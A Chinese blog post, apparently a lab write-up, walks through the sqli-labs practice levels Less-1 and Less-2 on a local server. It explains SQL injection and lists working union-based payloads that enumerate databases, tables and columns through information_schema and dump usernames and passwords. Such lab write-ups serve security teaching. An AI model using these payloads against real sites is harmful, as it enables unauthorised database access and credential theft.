SQL注入(SQLli-labs-master通过记录)

目录

一、SQL注入原理

二、SQL注入的攻击思路

        1、寻找SQL交互注入点,判断如何闭合拼接。

        2、判断数据库信息,如数据库类型,数据库版本。

        3、通过页面反馈进行语句的设计,从中或许到需要信息。

三、SQL注入的分类

        3.1 、数字型SQL注入

        3.2、字符型SQL注入

四、SQL注入的详细攻击流程(手工注入)

五、SQL注入的详细攻击流程(扫描器)

六、SQLli-labs-master通关记录


一、SQL注入原理

        当Web网页中向后台数据库运行SQL语句的时候,对用户输入没有进行严格的过滤,那么攻击者就可以通过构造SQL攻击语句,通过一些语句查询需要的相关信息,或者是增删改查数据库信息。

二、SQL注入的攻击思路

        1、寻找网页与数据库交互注入点,判断如何闭合拼接。

        2、判断数据库信息,如数据库类型,数据库版本。

        3、通过页面反馈进行语句的设计,从中或许到需要信息。

        4、数据库详细攻击方式与思路

               1、 判断有无闭合 and 1=1 and 1=2 结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合。

                ps:

        在SQL注入中,使用?id=1’ and 1=1–这种形式的注入语句时,后面的"–"(双减号)被用作注释符号。

        在大多数情况下,Web应用程序会将URL查询参数的值直接拼接到SQL查询语句中,而在这种情况下,注入攻击者可以利用这一点通过注入恶意的SQL代码来执行任意的数据库操作。在?id=1’ and 1=1–中,1=1的部分是一个始终为真的条件,这将保证整个查询语句始终为true,从而绕过了身份验证或其他访问控制机制。而后面的"–“的作用是注释掉原本查询语句中剩余的部分,以避免引发语法错误。”–"是SQL注释的一种常见表示方式,它将其后的所有内容都忽略掉,因此可以确保在注入字符串后不会产生错误的SQL语句。

后面的"+",在URL中,后面的"+"号通常用作空格的替代符号,因为URL中不能直接包含空格。在注入字符串中使用”+号"的目的是为了确保注入的SQL代码在传递给服务器时能够正确解析,以使整个URL参数的格式正确。

                2、猜解字段 order by 10  通过oder by 测试有多少个字段存在。

                3、判断数据回显位置 使用联合查询  union select 1,2,3,4,5.... 

                4、获取当前数据库名、用户、版本 union select version(),database(),user()

                5、获取全部数据库名 union select 1,2,(select group_concat(schema_name)from information_schema.schemata)

                6、获取表名 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='库名'

                7、获取字段名 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='表名'

                8、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名

三、SQL注入的分类

        大体上来说,我们将SQL注入分为数字型字符型。

        3.1 、数字型SQL注入

        3.2、字符型SQL注入

四、SQL注入的详细攻击流程(手工注入)

        第一关、LESS-1

        1、判断是否与后端数据库产生交互。输入id=1时,产生提示。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

 2:判断是否存在注入点,是数字型SQL注入,或者字符型SQL注入。

通常情况下,我们使用 下面代码来判断是否存在数字型SQL注入。

?id = x and 1=1 和 ?id = x and 1=2

  

        1:and语句中,A and B都为真时,才会输出。

        2:当输入 id = x and 1=1 时,此时 条件A,条件B均为正确,所以回显正常。

        3:当输入?id = x and 1=2 时,此时B条件1出现错误,所以应该输出为假。

        4:此时,如果页面在第3步出现错误,那么则为数字型注入。

         5: 同上述步骤后,如果语句出现页面不正常的情况,则存在字符型SQL注入。

?id = 'x' and '1'='1 和 ?id = 'x' and '1'='2

        

此时页面在 and 1=1 时无变化

此时,and 1=2 本应该报错,无反应。说明不存在数字型注入 3:判断是否存在字符型注入

 

4:判断字段个数 通过语句?id=1 order by n --+(--+为注释后面语句从而不影响前面语句的判断)

5:通过联合查询 ?id = 1' union select 1,2,3--+,但是需要将id设置为错误的如id=-1 id=0,依此来执行union select 后面的语句。通过替代1,2,3的位置来获取数据库版本,和数据库名称等数据库信息。

 6.通过联合查询获取数据库中的所有数据库名

获取全部数据库名 union select 1,2,(select group_concat(schema_name)from information_schema.schemata)

其中GROUP_CONCAT([DISTINCT] 列名 [ORDER BY 排序列] [SEPARATOR 分隔符])

  • DISTINCT:可选参数,表示只包含不重复的值。
  • 列名:要合并的列名。
  • ORDER BY 排序列:可选参数,用于对合并的值进行排序。
  • SEPARATOR 分隔符:可选参数,指定合并后的字符串中的分隔符,默认为逗号(,)。

通俗的来讲,group_concat()这个函数就是将一个表名下的列名全部展示出来,并且使用,分隔开。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

7: 通过第6步,我们获得了表名,可以推断出用户的密码ID应在users中。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 8:通过上一步,我们发现字段名中有password和username,然后获取username和密码。

 ?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第一关步骤非常详细,且我们需要熟悉手工注入的完整步骤。一步一步慢慢来,不懂慢慢理解。

第一关到此结束。

第二关、LESS-2

1.判断注入点,注入类型

2.判断字段个数,使用order by 有3个字段。

 

 3:通过联合查询,获取想要的信息,和获取用户密码。

?id=-1 union select 1,database(),version()


?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'


?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

 


?id=-1 union select 1,2,group_concat(username ,id , password) from users
 

五、SQL注入的详细攻击流程(扫描器)

六、SQLli-labs-master通关记录

七、SQL注入中思维开阔

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值